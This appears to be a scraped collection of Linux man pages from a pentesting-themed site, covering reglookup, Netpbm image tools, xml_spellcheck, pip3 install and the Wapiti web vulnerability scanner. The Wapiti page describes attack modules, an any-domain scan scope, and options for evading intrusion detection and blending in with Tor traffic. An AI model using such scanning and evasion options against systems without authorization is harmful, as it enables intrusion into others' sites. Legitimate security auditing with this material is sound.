Some fields in some lines may contain sub-fields which require additional delimiters. If these sub-delimiters occur in these sub-fields, they are also encoded in the same way as commas or other special characters are. Currently, the second, third, and fourth level delimiters are “|”, “:”, and " “, respectively. These are particularly important to take note of when security attributes are printed. Please note that these delimiters may occur in fields that are not sub-delimited, and should not be interpreted as special.

Security attributes of registry keys have a complex structure which is outlined here. Each key will generally have an associated ACL (Access Control List), which is made up of ACEs (Access Control Entries). Each ACE is delimited by the secondary delimiter mentioned above, “|”. The fields within an ACE are delimited by the third-level delimiter, “:”, and consist of a SID, the ACE type (ALLOW, DENY, etc), a list of access rights, and a list of flags. The last two fields are delimited by the fourth-level delimiter " “. These final lists are simply human-readable interpretations of bits. The access rights abbreviations are listed below along with their Microsoft-assigned names:

      QRY_VAL		KEY_QUERY_VALUE
      SET_VAL		KEY_SET_VALUE
      CREATE_KEY	KEY_CREATE_SUB_KEY
      ENUM_KEYS		KEY_ENUMERATE_SUB_KEYS
      NOTIFY		KEY_NOTIFY
      CREATE_LNK	KEY_CREATE_LINK
      WOW64_64		KEY_WOW64_64KEY
      WOW64_32		KEY_WOW64_32KEY
      DELETE		DELETE
      R_CONT		READ_CONTROL
      W_DAC		WRITE_DAC
      W_OWNER		WRITE_OWNER
      SYNC		SYNCHRONIZE
      SYS_SEC		ACCESS_SYSTEM_SECURITY
      MAX_ALLWD		MAXIMUM_ALLOWED
      GEN_A		GENERIC_ALL
      GEN_X		GENERIC_EXECUTE
      GEN_W		GENERIC_WRITE
      GEN_R		GENERIC_READ

And the meaning of each flag is:

      OI	Object Inherit
      CI	Container Inherit
      NP	Non-Propagate
      IO	Inherit Only
      IA	Inherited ACE

Please see the following references for more information:

        http://msdn2.microsoft.com/en-gb/library/ms724878.aspx
        http://msdn2.microsoft.com/en-gb/library/aa374892.aspx
        http://msdn2.microsoft.com/en-us/library/aa772242.aspx
        http://support.microsoft.com/kb/220167

Note that some of the bits listed above have either not been allocated by Microsoft, or simply aren’t documented. If any bits are set in the above two fields that aren’t recognized, a hexadecimal representation of all of these mystery bits will be included in the output. For instance, if the lowest bit and third lowest bit were not recognized while being set, the number “0x5” would be included as an element in the list.

While the ACL/ACE output format is mostly stable at this point, minor changes may be introduced in future versions.

EXAMPLES

To read and print the contents of an entire system registry file:

	reglookup /mnt/win/c/WINNT/system32/config/system

To limit the output to just those entries under the Services key:

	reglookup -p /ControlSet002/Services /mnt/win/c/WINNT/system32/config/system

To limit the output to all registry values of type BINARY:

	reglookup -t BINARY /mnt/win/c/WINNT/system32/config/system

And to limit the output to BINARY values under the Services key:

	reglookup -t BINARY -p /ControlSet002/Services /mnt/win/c/WINNT/system32/config/system

BUGS

This program has been smoke-tested against most current Windows target platforms, but a comprehensive test suite has not yet been developed. (Please report results to the development mailing list if you encounter any bugs. Sample registry files and/or patches are greatly appreciated.)

The SID conversions haven’t been carefully checked for accuracy.

The MTIME conversions appear correctly produce the stored UTC timestamp. However, due to the periodicity of registry writes, and the complexity of the conversion, a small amount of error (on the order of seconds) may be possible. The documentation available online from Microsoft on this field is very poor.

For more information on registry format details, see: http://sentinelchicken.com/research/registry_format/

CREDITS

This program was initially based on editreg.c by Richard Sharpe. It has since been rewritten to use a modified version the regfio library written by Gerald Carter. Heavy modifications to the library and the original command line interface have been done by Timothy D. Morgan.

Please see source code for a full list of copyrights.

LICENSE

Please see the file “LICENSE” included with this software distribution.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License version 3 for more details.

SEE ALSO

reglookup-timeline(1) reglookup-recover(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

373 - Linux cli command pammixmulti

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pammixmulti and provides detailed information about the command pammixmulti, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pammixmulti.

.

NAME 🖥️ pammixmulti 🖥️

blend together multiple PAM images

SYNOPSIS

pammixmulti [–blend=average|random|mask] [–maskfile=filename] [–stdev=number] [–randomseed integer] filename

Minimum unique abbreviation of an option is acceptable. You can use a single hyphen instead of double hyphens to denote options. You can use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This file is part of Netpbm(1) .

pammixmulti mixes two or more images to produce a new image. The program provides multiple ways to interpret “mix.”

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pammixmulti recognizes the following command line options:

–blend=average|random|mask
This option specifies how the input images should be mixed to produce the output image. With –blend=average (the default), each pixel in the output is produced by averaging the corresponding pixels from all the input images. With –blend=random, each pixel in the output is produced by selecting the corresponding pixel from one of the input images, chosen at random on a per-pixel basis. With –blend=mask, each pixel in the output is produced by a weighted average of the corresponding pixels from all the input images based on the grayscale level of an additional mask image.

–maskfile=filename
In conjunction with –blend=mask, this option names a grayscale mask file to control the blending of each pixel. (If the file is not grayscale, the first channel is treated as gray). Where the mask file is black, the first image is selected. Where the mask file is white, the last image is selected. Intermediate levels of gray select intermediate images.

–stdev=number
When used with –blend=mask, this option controls how smoothly the various input images are mixed to produce each output pixel. For example, consider running pammixmulti with three input images and a mask image that uses gray levels from 0 to 255. Given –stdev=0.0, gray levels 0-84 produce exclusively image 1; gray levels 85-170 produce exclusively image 2; and gray levels 171-255 produce exclusively image 3. If the argument to –stdev is positive, images are blended according to a normal distribution. Hence, gray levels around 85 produce an output pixel that includes roughly equal amounts of the corresponding pixel from images 1 and 2 but less of the corresponding pixel from image 3. As number tends towards the number of input images (going beyond that has diminishing impact), the output tends to look more like –blend=average. number defaults to 0.25.

–randomseed integer
This is the seed for the random number generator used with –blend=random

Use this to ensure you get the same image on separate invocations.

ARGUMENTS

You supply the names of the files to mix as non-option arguments.

EXAMPLES

Average a bunch of PPM images to produce a new PAM image:

    pammixmulti input*.ppm >output.ppm

Mix these same images by taking each pixel from a randomly selected input image:

    pammixmulti --blend=random input*.ppm >output.ppm

Use a mask image to control the fading among input images on a pixel-by-pixel basis:

    pammixmulti --blend=mask --maskfile=mask.pgm >output.pam \
       one.pam two.pam three.pam four.pam

Do the same but with more abrupt transitions:

    pammixmulti --blend=mask --maskfile=mask.pgm --stdev=0.0 >output.pam \
       one.pam two.pam three.pam four.pam

and now with more gradual transitions:

    pammixmulti --blend=mask --maskfile=mask.pgm --stdev=1.0 >output.pam \
       one.pam two.pam three.pam four.pam

HISTORY

pammixmulti was new in Netpbm 10.85 (December 2018).

AUTHOR

Copyright 2018 Scott Pakin, [email protected].

SEE ALSO

pamcomp(1) , ppmmix(1) , pamarith(1) , pnm(1) , pam(1)

Table Of Contents

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pammixmulti.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

374 - Linux cli command ppmdither

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmdither and provides detailed information about the command ppmdither, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmdither.

.

NAME 🖥️ ppmdither 🖥️

ordered dither for color images

SYNOPSIS

ppmdither

[-dim=power]

[-red=n]

[-green=n]

[-blue=n]

[netpbmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or an equals sign between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

ppmdither reads a Netpbm image as input, and applies dithering to it to reduce the number of colors used down to the specified number of shades for each primary. It produces a PPM image as output.

The default number of shades is 5 red, 9 green, and 5 blue, for a total of 225 colors. To convert the image to a binary rgb format suitable for primitive color printers, use -red=2 -green=2 -blue=2.

You can do another kind of dither – Floyd-Steinberg – with pnmquant or pnmremap.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmdither recognizes the following command line options:

-dim power
The size of the dithering matrix. The dithering matrix is a square whose dimension is a power of 2. power is that power of 2. The default is 4, for a 16 by 16 matrix.

-red=n
The number of red shades to be used, including black; minimum of 2.

Default is 5.

-green n
The number of green shades to be used, including black; minimum of 2.

Default is 9.

-blue n
The number of blue shades to be used, including black; minimum of 2.

Default is 5.

SEE ALSO

pamditherbw(1) , pamdepth(1) , pnmquant(1) , pnmremap(1) , ppm(1)

AUTHOR

Copyright (C) 1991 by Christos Zoulas.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmdither.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

375 - Linux cli command wapiti

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wapiti and provides detailed information about the command wapiti, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wapiti.

NAME 🖥️ wapiti 🖥️

A web application vulnerability scanner in Python

SYNOPSIS

wapiti -u BASE_URL [options]

DESCRIPTION

Wapiti allows you to audit the security of your web applications.

It performs “black-box” scans, i.e. it does not study the source code of the application but will scans the webpages of the deployed webapp, looking for scripts and forms where it can inject data.

Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see if a script is vulnerable.

Wapiti is useful only to discover vulnerabilities: it is not an exploitation tools. Some well known applications can be used for the exploitation part like the recommended sqlmap.

OPTIONS SUMMARY

Here is a summary of options. It is essentially what you will get when you launch Wapiti without any argument. More detail on each option can be found in the following sections.

TARGET SPECIFICATION:

  • -u URL

  • –scope {page,folder,domain,url,punk}

ATTACK SPECIFICATION:

  • -m MODULES_LIST

  • –list-modules

  • -l LEVEL

PROXY AND AUTHENTICATION OPTIONS:

  • -p PROXY_URL

  • -a CREDENTIALS

  • –auth-type {basic,digest,kerberos,ntlm,post}

  • -c COOKIE_FILE

SESSION OPTIONS:

  • –skip-crawl

  • –resume-crawl

  • –flush-attacks

  • –flush-session

  • –store-session PATH

  • –store-config PATH

SCAN AND ATTACKS TUNING:

  • -s URL

  • -x URL

  • -r PARAMETER

  • –skip PARAMETER

  • -d DEPTH

  • –max-links-per-page MAX_LINKS_PER_PAGE

  • –max-files-per-dir MAX_FILES_PER_DIR

  • –max-scan-time MAX_SCAN_TIME

  • –max-attack-time MAX_ATTACK_TIME

  • –max-parameters MAX

  • -S, –scan-force {paranoid,sneaky,polite,normal,aggressive,insane}

HTTP AND NETWORK OPTIONS:

  • -t SECONDS

  • -H HEADER

  • -A AGENT

  • –verify-ssl {0,1}

OUTPUT OPTIONS:

  • –color

  • -v LEVEL

REPORT OPTIONS:

  • -f {json,html,txt,xml}

  • -o OUPUT_PATH

OTHER OPTIONS:

  • –no-bugreport

  • –version

  • –update

  • -h

TARGET SPECIFICATION

  • -u, –url URL
    The URL that will be used as the base for the scan. Every URL found during the scan will be checked against the base URL and the corresponding scan scope (see –scope for details).
    This is the only required argument. The scheme part of the URL must be either http or https.

  • –scope SCOPE
    Define the scope of the scan and attacks. Valid choices are :

  • url : will only scan and attack the exact base URL given with -u option.

  • page : will attack every URL matching the path of the base URL (every query string variation).

  • folder : will scan and attack every URL starting with the base URL value. This base URL should have a trailing slash (no filename).

  • domain : will scan and attack every URL whose domain name match the one from the base URL.

  • punk : will scan and attack every URL found whatever the domain. Think twice before using that scope.

ATTACK SPECIFICATION

  • -m, –module MODULE_LIST
    Set the list of attack modules (modules names separated with commas) to launch against the target.
    Default behavior (when the option is not set) is to use the most common modules.
    Common modules can also be specified using the “common” keyword.
    If you want to use common modules along with XXE module you can pass -m common,xxe.
    Activating all modules can be done with the “all” keyword (not recommended though).
    To launch a scan without launching any attack, just give an empty value (-m “”).
    You can filter on http methods too (only get or post). For example -m “xss:get,exec:post”.

  • –list-modules
    Print the list of available Wapiti modules along with a short description then exit.

  • -l, –level LEVEL
    In previous versions Wapiti used to inject attack payloads in query strings even if no parameter was present in the original URL.
    While it may be successful in finding vulnerabilities that way, it was causing too many requests for not enough success.
    This behavior is now hidden behind this option and can be reactivated by setting -l to 2.
    It may be useful on CGIs when developers have to parse the query-string themselves.
    Default value for this option is 1.

PROXY AND AUTHENTICATION OPTIONS

  • -p, –proxy PROXY_URL
    The given URL will be used as a proxy for HTTP and HTTPS requests. This URL can have one of the following scheme : http, https, socks.

  • –tor
    Make Wapiti use a Tor listener (same as –proxy socks://127.0.0.1:9050/)

  • -a, –auth-cred CREDENTIALS
    Set credentials to use for authentication on the target.
    Given value should be in the form login%password (% is used as a separator)

  • –auth-type TYPE
    Set the authentication mechanism to use. Valid choices are basic, digest, kerberos, ntlm and post (web login form).
    Kerberos and NTLM authentication may require you to install additional Python modules. “Post” authentication could be combined with -s to specify where to find the login form.

  • -c, –cookie COOKIE_FILE
    Load cookies from a Wapiti JSON cookie file. See wapiti-getcookie(1) for more information.

SESSION OPTIONS

Since Wapiti 3.0.0, scanned URLs, discovered vulnerabilities and attacks status are stored in sqlite3 databases used as Wapiti session files.
Default behavior when a previous scan session exists for the given base URL and scope is to resume the scan and attack status.
Following options allows you to bypass this behavior/

  • –skip-crawl
    If a previous scan was performed but wasn’t finished, don’t resume the scan. Attack will be made on currently known URLs without scanning more.

  • –resume-crawl
    If the crawl was previously stopped and attacks started, default behavior is to skip crawling if the session is restored.
    Use this option in order to continue the scan process while keeping vulnerabilities and attacks in the session.

  • –flush-attacks
    Forget everything about discovered vulnerabilities and which URL was attacked by which module.
    Only the scan (crawling) information will be kept.

  • –flush-session
    Forget everything about the target for the given scope.

  • –store-session PATH Specify an alternative path for storing session (.db and .pkl) files.

  • –store-config PATH Specify an alternative path for storing particular module (apps.json and nikto_db) files.

SCAN AND ATTACKS TUNING

  • -s, –start URL
    If for some reasons, Wapiti doesn’t find any (or enough) URLs from the base URL you can still add URLs to start the scan with.
    Those URLs will be given a depth of 0, just like the base URL.
    This option can be called several times.
    You can also give it a filename and Wapiti will read URLs from the given file (must be UTF-8 encoded), one URL per line. Combined with –auth-type=post, Wapiti will try to find a login form on the first URL provided and to authenticate with the given credentials.

  • -x, –exclude URL
    Prevent the given URL from being scanned. Common use is to exclude the logout URL to prevent the destruction of session cookies (if you specified a cookie file with –cookie).
    This option can be applied several times. Excluded URL given as a parameter can contain wildcards for basic pattern matching.

  • -r, –remove PARAMETER
    If the given parameter is found in scanned URL it will be automatically removed (URLs are edited).
    This option can be used several times.

  • –skip PARAMETER
    Given parameter will be kept in URLs and forms but won’t be attacked.
    Useful if you already know non-vulnerable parameters.

  • -d, –depth DEPTH
    When Wapiti crawls a website it gives each found URL a depth value.
    The base URL, and additional starting URLs (-s) are given a depth of 0.
    Each link found in thoses URLs got a depth of 1, and so on.
    Default maximum depth is 40 and is very large.
    This limit make sure the scan will stop at some time.
    For a fast scan a depth inferior to 5 is recommanded.

  • –max-links-per-page MAX
    This is another option to be able to reduce the number of URLs discovered by the crawler.
    Only the first MAX links of each webpage will be extracted.
    This option is not really effective as the same link may appear on different webpages.
    It should be useful is rare conditions, for exeample when there is a lot a webpages without query string.

  • –max-files-per-dir MAX
    Limit the number of URLs to crawl under each folder found on the webserver.
    Note that an URL with a trailing slash in the path is not necessarily a folder with Wapiti will treat it as its is.
    Like the previous option it should be useful only in certain situations.

  • –max-scan-time SECONDS Stop the scan after SECONDS seconds if it is still running. Should be useful to automatise scanning from another process (continuous testing).

  • –max-attack-time SECONDS Each attack module will stop after SECONDS seconds if it is still running. Should be useful to automatise scanning from another process (continuous testing).

  • –max-parameters MAX
    URLs and forms having more than MAX input parameters will be discarded before launching attack modules.

  • -S, –scan-force FORCE
    The more input parameters an URL or form have, the more requests Wapiti will send.
    The sum of requests can grow rapidly and attacking a form with 40 or more input fields can take a huge amount of time.
    Wapiti use a mathematical formula to reduce the numbers of URLs scanned for a given pattern (same variables names) when the number of parameters grows.
    The formula is maximum_allowed_patterns = 220 / (math.exp(number_of_parameters * factor) ** 2) where factor is an internal value controller by the FORCE value you give as an option.
    Available choices are : paranoid, sneaky, polite, normal, aggressive, insane.
    Default value is normal (147 URLs for 1 parameter, 30 for 5, 5 for 10, 1 for 14 or more).
    Insane mode just remove the calculation of those limits, every URL will be attacked.
    Paranoid mode will attack 30 URLs with 1 parameter, 5 for 2, and just 1 for 3 and more).

  • –endpoint URL Some attack modules are using an HTTP endpoint to check for vulnerabilities.
    For example the SSRF module inject the endpoint URL into webpage arguments to check if the target script try to fetch that URL.
    Default endpoint is http://wapiti3.ovh/. Keep in mind that the target and your computer must be able to join that endpoint for the module to work.
    On internal pentests this endpoint may not be accessible to the target hence you may prefer to set up your own endpoint.
    This option will set both internal and external endpoint URL to the same value.

  • –internal-endpoint URL You may want to specify an internal endpoint different from the external one.
    The internal endpoint is used by Wapiti to fetch results of attacks.
    If you are behind a NAT it may be an URL for a local server (for example http://192.168.0.1/)

  • –external-endpoint URL Set the endpoint URL (the one that the target will fetch in case of vulnerability).
    Using your own endpoint may reduce risk of being caught by NIDS or WAF.

HTTP AND NETWORK OPTIONS

  • -t, –timemout SECONDS
    Time to wait (in seconds) for a HTTP response before considering failure.

  • -H, –header HEADER
    Set a custom HTTM header to inject in every request sent by Wapiti. This option can be used several times.
    Value should be a standard HTTP header line (parameter and value separated with a : sign).

  • -A, –user-agent AGENT
    Default behavior of Wapiti is to use the same User-Agent as the TorBrowser, making it discreet when crawling standard website or .onion ones.
    But you may have to change it to bypass some restrictions so this option is here.

  • –verify-ssl VALUE
    Wapiti doesn’t care of certificates validation by default. That behavior can be changed by passing 1 as a value to that option.

OUTPUT OPTIONS

Wapiti prints its status to standard output. The two following options allow one to tune the output.

  • –color
    Outpout will be colorized based on the severity of the information (red is critical, orange for warnings, green for information).

  • -v, –verbose LEVEL
    Set the level of verbosity for the output. Possible values are quiet (O), normal (1, default behavior) and verbose (2).

REPORT OPTIONS

Wapiti will generate a report at the end of the attack process. Several formats of reports are available.

  • -f, –format FORMAT
    Set the format of the report. Valid choices are json, html, txt and xml.
    Although the HTML reports were rewritten to be more responsive, they still are impracticable when there is a lot of found vulnerabilities.

  • -o, –output OUTPUT_PATH
    Set the path were the report will be generated.

OTHER OPTIONS

  • –version
    Print Wapiti version then exit.

  • –no-bugreport
    If a Wapiti attack module crashes of a non-caught exception a bug report is generated and sent for analysis in order to improve Wapiti reliability. Note that only the content of the report is kept.
    You can still prevent reports from being sent using that option.

  • –update Update particular Wapiti modules (download a fresh version of the apps.json and nikto_db files) then exit. You can combine it with –store-config to specify where to store downloaded files.

  • -h, –help
    Show detailed options description. More details are available in this manpage though.

LICENSE

Wapiti is covered by the GNU General Public License (GPL), version 2. Please read the LICENSE file for more information.

COPYRIGHT

Copyright (c) 2006-2021 Nicolas Surribas.

AUTHORS

Nicolas Surribas is the main author, but the whole list of contributors is found in the separate AUTHORS file.

WEBSITE

http://wapiti.sourceforge.io/

BUG REPORTS

If you find a bug in Wapiti please report it to https://github.com/wapiti-scanner/wapiti/issues

SEE ALSO

The INSTALL.md file that comes with Wapiti contains every information required to install Wapiti.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

376 - Linux cli command xml_spellcheckp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xml_spellcheckp and provides detailed information about the command xml_spellcheckp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xml_spellcheckp.

NAME 🖥️ xml_spellcheckp 🖥️

spellcheck XML files

SYNOPSIS

xml_spellcheck [options] <files>

DESCRIPTION

xml_spellcheck lets you spell check the content of an XML file. It extracts the text (the content of elements and optionally of attributes), call a spell checker on it and then recreates the XML document.

OPTIONS

Note that all options can be abbreviated to the first letter

–conf <configuration_file>
Gets the options from a configuration file. NOT IMPLEMENTED YET.

–spellchecker <spellchecker>
The command to use for spell checking, including any option By default aspell -c is used

–backup-extension <extension>
By default the original file is saved with a .bak extension. This option changes the extension

–attributes
Spell check attribute content. By default attribute values are NOT spell checked. NOT YET IMPLEMENTED

–exclude_elements <list_of_excluded_elements>
A list of elements that should not be spell checked

–include_elements <list_of_included_elements>
A list of elements that should be spell checked (by default all elements are spell checked). --exclude_elements and --include_elements are mutually exclusive

–pretty_print <optional_pretty_print_style>
A pretty print style for the document, as defined in XML::Twig. If the option is provided without a value then the indented style is used

–version
Display the tool version and exit

–help
Display help message and exit

–man
Display longer help message and exit

EXAMPLES

BUGS

TODO

–conf option

–attribute option

PRE-REQUISITE

XML::Twig, Getopt::Long, Pod::Usage, File::Temp XML::Twig requires XML::Parser.

SEE ALSO

XML::Twig

COPYRIGHT AND DISCLAIMER

This program is Copyright 2003 by Michel Rodriguez

This program is free software; you can redistribute it and/or modify it under the terms of the Perl Artistic License or the GNU General Public License as published by the Free Software Foundation either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MER- CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

If you do not have a copy of the GNU General Public License write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

AUTHOR

Michel Rodriguez <[email protected]>

xml_spellcheck is available at http://www.xmltwig.com/xmltwig/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

377 - Linux cli command pip3-install

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip3-install and provides detailed information about the command pip3-install, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip3-install.

NAME 🖥️ pip3-install 🖥️

install - description of pip3 install command

DESCRIPTION

Install packages from:

  • PyPI (and other indexes) using requirement specifiers.

  • VCS project urls.

  • Local project directories.

  • Local or remote source archives.

pip also supports installing from “requirements files”, which provide an easy way to specify a whole environment to be installed.

USAGE

python -m pip install [options] [package-index-options] … python -m pip install [options] -r [package-index-options] … python -m pip install [options] [-e] … python -m pip install [options] [-e] … python -m pip install [options] <archive url/path> …

OPTIONS

-r, –requirement <file>
Install from the given requirements file. This option can be used multiple times.

(environment variable: PIP_REQUIREMENT)

-c, –constraint <file>
Constrain versions using the given constraints file. This option can be used multiple times.

(environment variable: PIP_CONSTRAINT)

–no-deps
Don’t install package dependencies.

(environment variable: PIP_NO_DEPS, PIP_NO_DEPENDENCIES)

–pre
Include pre-release and development versions. By default, pip only finds stable versions.

(environment variable: PIP_PRE)

-e, –editable <path/url>
Install a project in editable mode (i.e. setuptools “develop mode”) from a local project path or a VCS url.

(environment variable: PIP_EDITABLE)

–dry-run
Don’t actually install anything, just print what would be. Can be used in combination with –ignore-installed to ‘resolve’ the requirements.

(environment variable: PIP_DRY_RUN)

-t, –target <dir>
Install packages into <dir>. By default this will not replace existing files/folders in <dir>. Use –upgrade to replace existing packages in <dir> with new versions.

(environment variable: PIP_TARGET)

–platform <platform>
Only use wheels compatible with <platform>. Defaults to the platform of the running system. Use this option multiple times to specify multiple platforms supported by the target interpreter.

(environment variable: PIP_PLATFORM)

–python-version <python_version>
The Python interpreter version to use for wheel and “Requires-Python” compatibility checks. Defaults to a version derived from the running interpreter. The version can be specified using up to three dot-separated integers (e.g. “3” for 3.0.0, “3.7” for 3.7.0, or “3.7.3”). A major-minor version can also be given as a string without dots (e.g. “37” for 3.7.0).

(environment variable: PIP_PYTHON_VERSION)

–implementation <implementation>
Only use wheels compatible with Python implementation <implementation>, e.g. ‘pp’, ‘jy’, ‘cp’, or ‘ip’. If not specified, then the current interpreter implementation is used. Use ‘py’ to force implementation-agnostic wheels.

(environment variable: PIP_IMPLEMENTATION)

–abi <abi>
Only use wheels compatible with Python abi <abi>, e.g. ‘pypy_41’. If not specified, then the current interpreter abi tag is used. Use this option multiple times to specify multiple abis supported by the target interpreter. Generally you will need to specify –implementation, –platform, and –python-version when using this option.

(environment variable: PIP_ABI)

–user
Install to the Python user install directory for your platform. Typically ~/.local/, or %APPDATA%Python on Windows. (See the Python documentation for site.USER_BASE for full details.)

(environment variable: PIP_USER)

–root <dir>
Install everything relative to this alternate root directory.

(environment variable: PIP_ROOT)

–prefix <dir>
Installation prefix where lib, bin and other top-level folders are placed. Note that the resulting installation may contain scripts and other resources which reference the Python interpreter of pip, and not that of –prefix. See also the –python option if the intention is to install packages into another (possibly pip-free) environment.

(environment variable: PIP_PREFIX)

–src <dir>
Directory to check out editable projects into. The default in a virtualenv is “<venv path>/src”. The default for global installs is “<current dir>/src”.

(environment variable: PIP_SRC, PIP_SOURCE, PIP_SOURCE_DIR, PIP_SOURCE_DIRECTORY)

-U, –upgrade
Upgrade all specified packages to the newest available version. The handling of dependencies depends on the upgrade-strategy used.

(environment variable: PIP_UPGRADE)

–upgrade-strategy <upgrade_strategy>
